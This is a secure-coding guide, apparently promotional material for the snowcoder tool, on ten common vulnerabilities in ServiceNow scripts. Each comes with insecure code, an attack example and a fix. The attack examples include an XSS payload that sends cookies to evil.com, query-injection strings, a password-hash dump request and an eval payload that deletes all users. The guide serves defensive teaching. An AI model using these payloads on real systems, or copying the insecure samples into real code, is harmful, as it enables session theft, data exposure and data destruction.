10 Common Security Vulnerabilities in ServiceNow Scripts (And How to Fix Them)
Identify and fix critical security flaws before they reach production.
The Hidden Risk in Your ServiceNow Instance
Every ServiceNow developer writes scripts—Business Rules, Client Scripts, Script Includes, and more. But a single security flaw can expose sensitive data, bypass authorization controls, or give attackers a foothold in your environment.
The challenge? Security vulnerabilities in ServiceNow scripts often look like normal code. They work perfectly in testing but create critical exposures in production.
This guide covers the 10 most dangerous vulnerabilities we see in ServiceNow scripts, with real examples of insecure code and how to fix each one. We'll also show how snowcoder's security validation catches these issues before they reach production.
How snowcoder Catches Security Issues
Before diving into the vulnerabilities, it's worth understanding how snowcoder protects your code.
Every script generated or analyzed by snowcoder passes through a 4-stage validation pipeline:
| Stage | Focus | Weight |
|---|---|---|
| Syntax | JavaScript parsing and structure | 15% |
| ServiceNow | Platform-specific best practices | 25% |
| Security | Vulnerability detection | 35% |
| Performance | Query optimization, efficiency | 25% |
Security carries the highest weight because a fast, functional script with a security flaw is worse than no script at all.
1. Query Injection via String Concatenation
The Vulnerability
Concatenating user input into GlideRecord queries allows attackers to manipulate query logic.
Insecure Code:
var gr = new GlideRecord('incident');
var userInput = this.getParameter('sysparm_query');
gr.addEncodedQuery('category=' + userInput); // DANGER
gr.query();The Attack:
An attacker submits: hardware^ORDERBYDESCsys_created_on^priority=1
Instead of filtering by category, the query now returns high-priority incidents sorted by creation date—data the user shouldn't see.
SEC004: Potential injection vulnerability in GlideRecord query
Severity: Error | Line: 3
Suggestion: Use addQuery() with separate parameters
The Fix:
var gr = new GlideRecord('incident');
var userInput = this.getParameter('sysparm_query');
// Validate input against allowed values
var allowedCategories = ['hardware', 'software', 'network'];
if (allowedCategories.indexOf(userInput) === -1) {
return 'Invalid category';
}
// Use parameterized query - no concatenation
gr.addQuery('category', userInput);
gr.query();2. Cross-Site Scripting (XSS) via innerHTML
The Vulnerability
Assigning user input directly to innerHTML allows script injection.
Insecure Code:
// Client Script
var comments = g_form.getValue('comments');
document.getElementById('preview').innerHTML = comments; // DANGERThe Attack:
A user enters: <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
When the page renders, the attacker's script runs and steals the user's session cookie.
SEC007: Direct innerHTML assignment - potential XSS vulnerability
Severity: Warning | Line: 3
Suggestion: Use textContent or createElement() methods
The Fix:
// Option 1: Use textContent (no HTML parsing)
var comments = g_form.getValue('comments');
document.getElementById('preview').textContent = comments;
// Option 2: Sanitize HTML before display
var comments = g_form.getValue('comments');
var sanitized = new GlideStringUtil().escapeHTML(comments);
document.getElementById('preview').innerHTML = sanitized;3. Missing ACL Checks Before Record Modifications
The Vulnerability
Modifying records without checking canWrite() bypasses ServiceNow's access control.
Insecure Code:
var gr = new GlideRecord('incident');
gr.addQuery('state', 1);
gr.query();
while (gr.next()) {
gr.priority = 1;
gr.update(); // No permission check!
}The Problem: This script runs with elevated privileges, updating incidents even for users who shouldn't have write access to those records.
SEC013: update() called without ACL check
Severity: Warning
Suggestion: Add if (gr.canWrite()) check before update()
The Fix:
var gr = new GlideRecord('incident');
gr.addQuery('state', 1);
gr.query();
while (gr.next()) {
// Check ACL before modifying
if (!gr.canWrite()) {
gs.warn('User lacks write access to: ' + gr.number);
continue;
}
gr.priority = 1;
gr.update();
}4. Hardcoded Credentials
The Vulnerability
Storing API keys, passwords, or tokens directly in scripts.
Insecure Code:
var apiKey = 'sk-live-abc123xyz789'; // DANGER
var password = 'ServiceNow2024!'; // DANGER
var request = new sn_ws.RESTMessageV2();
request.setRequestHeader('Authorization', 'Bearer ' + apiKey);
request.setBasicAuth('admin', password);The Problem:
- Anyone with script access sees credentials
- Credentials leak through version control, backups, and logs
- You can't rotate credentials without modifying code
SEC009: Potential hardcoded credentials detected
Severity: Error | Line: 1
Suggestion: Use System Properties or encrypted credentials storage
The Fix:
// Store credentials in System Properties
var apiKey = gs.getProperty('company.external.api_key');
// Or use Connection & Credential Aliases
var request = new sn_ws.RESTMessageV2('ExternalAPI', 'POST');
// Credentials automatically applied from the Credential record
request.execute();5. Client-Server API Mixing
The Vulnerability
Using server-side APIs (GlideRecord) in client scripts, or vice versa.
Insecure Code:
// Client Script - THIS DOESN'T WORK AS EXPECTED
function validateAssignment() {
var assignee = g_form.getValue('assigned_to'); // Client API
var gr = new GlideRecord('sys_user'); // Server API!
gr.get(assignee);
if (!gr.active) {
g_form.addErrorMessage('User is inactive');
}
}The Problem:
- GlideRecord doesn't exist on the client side
- If it did, it would bypass ACLs
- The code fails silently or unpredictably
SEC015: Client-side API (g_form) and server-side API (GlideRecord) mixed
Severity: Error
Suggestion: Use GlideAjax to call server-side Script Include from client scripts
The Fix:
// Client Script
function validateAssignment() {
var assignee = g_form.getValue('assigned_to');
var ga = new GlideAjax('UserValidation');
ga.addParam('sysparm_name', 'isUserActive');
ga.addParam('sysparm_user_id', assignee);
ga.getXMLAnswer(function(response) {
var result = JSON.parse(response);
if (!result.active) {
g_form.addErrorMessage('User is inactive');
}
});
}
// Script Include (runs on server)
var UserValidation = Class.create();
UserValidation.prototype = Object.extendsObject(AbstractAjaxProcessor, {
isUserActive: function() {
var userId = this.getParameter('sysparm_user_id');
// Validate sys_id format
if (!/^[a-f0-9]{32}$/i.test(userId)) {
return JSON.stringify({error: 'Invalid user ID'});
}
var gr = new GlideRecord('sys_user');
if (gr.get(userId)) {
return JSON.stringify({active: gr.active.toString() === 'true'});
}
return JSON.stringify({active: false});
},
type: 'UserValidation'
});6. Unvalidated User Input
The Vulnerability
Using input from URL parameters, form fields, or AJAX calls without validation.
Insecure Code:
var tableName = this.getParameter('sysparm_table');
var fieldName = this.getParameter('sysparm_field');
var gr = new GlideRecord(tableName); // User controls the table!
gr.query();
while (gr.next()) {
gs.print(gr.getValue(fieldName)); // User controls the field!
}The Attack:
An attacker submits sysparm_table=sys_user&sysparm_field=user_password
The script now dumps password hashes for all users.
The Fix:
var tableName = this.getParameter('sysparm_table');
var fieldName = this.getParameter('sysparm_field');
// Whitelist allowed tables
var allowedTables = ['incident', 'change_request', 'problem'];
if (allowedTables.indexOf(tableName) === -1) {
return 'Invalid table';
}
// Whitelist allowed fields per table
var allowedFields = {
'incident': ['number', 'short_description', 'state'],
'change_request': ['number', 'short_description', 'state'],
'problem': ['number', 'short_description', 'state']
};
if (allowedFields[tableName].indexOf(fieldName) === -1) {
return 'Invalid field';
}
var gr = new GlideRecord(tableName);
gr.setLimit(100); // Prevent full table dumps
gr.query();
while (gr.next()) {
if (gr.canRead()) { // Check ACL
gs.print(gr.getValue(fieldName));
}
}7. Bypassing Workflows with setWorkflow(false)
The Vulnerability
setWorkflow(false) skips all Business Rules, preventing approval workflows and audit logging.
Insecure Code:
var gr = new GlideRecord('change_request');
gr.get(changeId);
gr.state = 3; // Closed
gr.setWorkflow(false); // Skips approval workflow!
gr.update();The Problem:
- Change approvals are bypassed
- Audit trails become incomplete
- Compliance requirements are violated
The Fix:
var gr = new GlideRecord('change_request');
gr.get(changeId);
// Check that change has proper approvals
if (!hasRequiredApprovals(changeId)) {
gs.error('Cannot close change without approvals');
return;
}
// Let workflows run normally
gr.state = 3;
gr.update(); // Business Rules execute, audit trail preserved
function hasRequiredApprovals(changeId) {
var approval = new GlideRecord('sysapproval_approver');
approval.addQuery('document_id', changeId);
approval.addQuery('state', 'approved');
approval.query();
return approval.getRowCount() >= 1;
}8. Invalid sys_id Format
The Vulnerability
Accepting user-supplied sys_ids without validating their format.
Insecure Code:
var recordId = this.getParameter('sysparm_record_id');
var gr = new GlideRecord('incident');
gr.get(recordId); // No format validation
return gr.getValue('short_description');The Attack: Malformed sys_ids can cause unexpected behavior. Attackers may inject query operators or explore error messages for information disclosure.
The Fix:
var recordId = this.getParameter('sysparm_record_id');
// Validate sys_id format: 32 hexadecimal characters
if (!/^[a-f0-9]{32}$/i.test(recordId)) {
return JSON.stringify({error: 'Invalid record ID format'});
}
var gr = new GlideRecord('incident');
if (gr.get(recordId) && gr.canRead()) {
return JSON.stringify({
description: gr.short_description.toString()
});
}
return JSON.stringify({error: 'Record not found'});9. Exposing Sensitive Data in Responses
The Vulnerability
Returning entire records or sensitive fields in API responses.
Insecure Code:
var userId = this.getParameter('sysparm_user');
var gr = new GlideRecord('sys_user');
if (gr.get(userId)) {
return JSON.stringify(gr); // Returns EVERYTHING
}The Problem: This returns every field on the user record—including password hashes, SSN, salary, home address, and other sensitive data.
The Fix:
var userId = this.getParameter('sysparm_user');
// Validate format
if (!/^[a-f0-9]{32}$/i.test(userId)) {
return JSON.stringify({error: 'Invalid user ID'});
}
var gr = new GlideRecord('sys_user');
if (gr.get(userId) && gr.canRead()) {
// Whitelist only safe, necessary fields
return JSON.stringify({
name: gr.name.toString(),
email: gr.email.toString(),
department: gr.department.getDisplayValue(),
title: gr.title.toString()
// Never include: user_password, ssn, salary, etc.
});
}
return JSON.stringify({error: 'User not found'});10. Dangerous Code Execution (eval, Function Constructor)
The Vulnerability
Using eval() or new Function() with user-controlled input.
Insecure Code:
var formula = this.getParameter('sysparm_formula');
var result = eval(formula); // CRITICAL DANGER
return result.toString();The Attack:
Attacker submits: gs.include('Sys_scripts'); new GlideRecord('sys_user').deleteMultiple();
This could delete all users from the system.
SEC001: Use of eval() detected - potential code injection vulnerability
Severity: Error
Suggestion: Avoid eval() entirely; use safer alternatives
The Fix:
var operation = this.getParameter('sysparm_operation');
var value1 = parseFloat(this.getParameter('sysparm_value1'));
var value2 = parseFloat(this.getParameter('sysparm_value2'));
// Validate inputs are numbers
if (isNaN(value1) || isNaN(value2)) {
return JSON.stringify({error: 'Invalid numeric values'});
}
// Whitelist allowed operations
var result;
switch (operation) {
case 'add':
result = value1 + value2;
break;
case 'subtract':
result = value1 - value2;
break;
case 'multiply':
result = value1 * value2;
break;
case 'divide':
if (value2 === 0) return JSON.stringify({error: 'Division by zero'});
result = value1 / value2;
break;
default:
return JSON.stringify({error: 'Invalid operation'});
}
return JSON.stringify({result: result});A Complete Secure Script Example
Here's a Script Include that passes all of snowcoder's security checks:
var SecureIncidentAPI = Class.create();
SecureIncidentAPI.prototype = Object.extendsObject(AbstractAjaxProcessor, {
getIncident: function() {
// 1. Validate input format
var incidentId = this.getParameter('sysparm_incident_id');
if (!this._isValidSysId(incidentId)) {
return this._error('Invalid incident ID format');
}
// 2. Check authorization
if (!gs.hasRole('itil') && !gs.hasRole('admin')) {
gs.warn('Unauthorized getIncident attempt by: ' + gs.getUserName());
return this._error('Unauthorized');
}
// 3. Query safely (no string concatenation)
var gr = new GlideRecord('incident');
if (!gr.get(incidentId)) {
return this._error('Incident not found');
}
// 4. Check ACL
if (!gr.canRead()) {
return this._error('Access denied');
}
// 5. Return only whitelisted fields
return this._success({
number: gr.number.toString(),
short_description: gr.short_description.toString(),
state: gr.state.getDisplayValue(),
priority: gr.priority.getDisplayValue(),
assigned_to: gr.assigned_to.getDisplayValue()
});
},
// Helper: Validate sys_id format
_isValidSysId: function(id) {
return id && /^[a-f0-9]{32}$/i.test(id);
},
// Helper: Success response
_success: function(data) {
return JSON.stringify({status: 'success', data: data});
},
// Helper: Error response
_error: function(message) {
return JSON.stringify({status: 'error', message: message});
},
type: 'SecureIncidentAPI'
});snowcoder Validation Result: Security Score 95/100
- ✓ Input validation present
- ✓ ACL checks implemented
- ✓ No SQL injection vulnerabilities
- ✓ No XSS vulnerabilities
- ✓ No hardcoded credentials
- ✓ Proper error handling
- ✓ Data minimization (whitelist fields)
Quick Reference: Security Checklist
| Vulnerability | Detection | Prevention |
|---|---|---|
| Query Injection | SEC003, SEC004, SEC005 | Use parameterized addQuery() |
| XSS | SEC006, SEC007 | Use textContent, escape HTML |
| Missing ACL | SEC010, SEC013 | Check canRead(), canWrite() |
| Hardcoded Creds | SEC009 | Use System Properties |
| Client/Server Mix | SEC015 | Use GlideAjax |
| Unvalidated Input | SEC011, SEC016 | Whitelist validation |
| setWorkflow(false) | SEC014 | Avoid or document carefully |
| Invalid sys_id | Pattern check | Regex: ^[a-f0-9]{32}$ |
| Data Exposure | Knowledge base | Whitelist response fields |
| eval() / Function | SEC001, SEC002 | Never use with user input |
Let snowcoder Secure Your Code
Writing secure ServiceNow code is challenging. There are dozens of patterns to remember, edge cases to consider, and mistakes that are easy to make.
snowcoder's security validation catches these vulnerabilities automatically:
- During generation — Security checks run on every script snowcoder creates
- During review — Paste existing code to identify vulnerabilities
- With explanations — Each warning includes context and a fix
Security isn't an afterthought in snowcoder—it's weighted at 35% of the validation score, the highest of any category.
Ready to write more secure ServiceNow code?
Let snowcoder's security validation catch vulnerabilities before they reach production.
Try Now for FreeNo credit card required.
Found a security pattern we missed? We're always improving our validation rules. Reach out to our team with suggestions.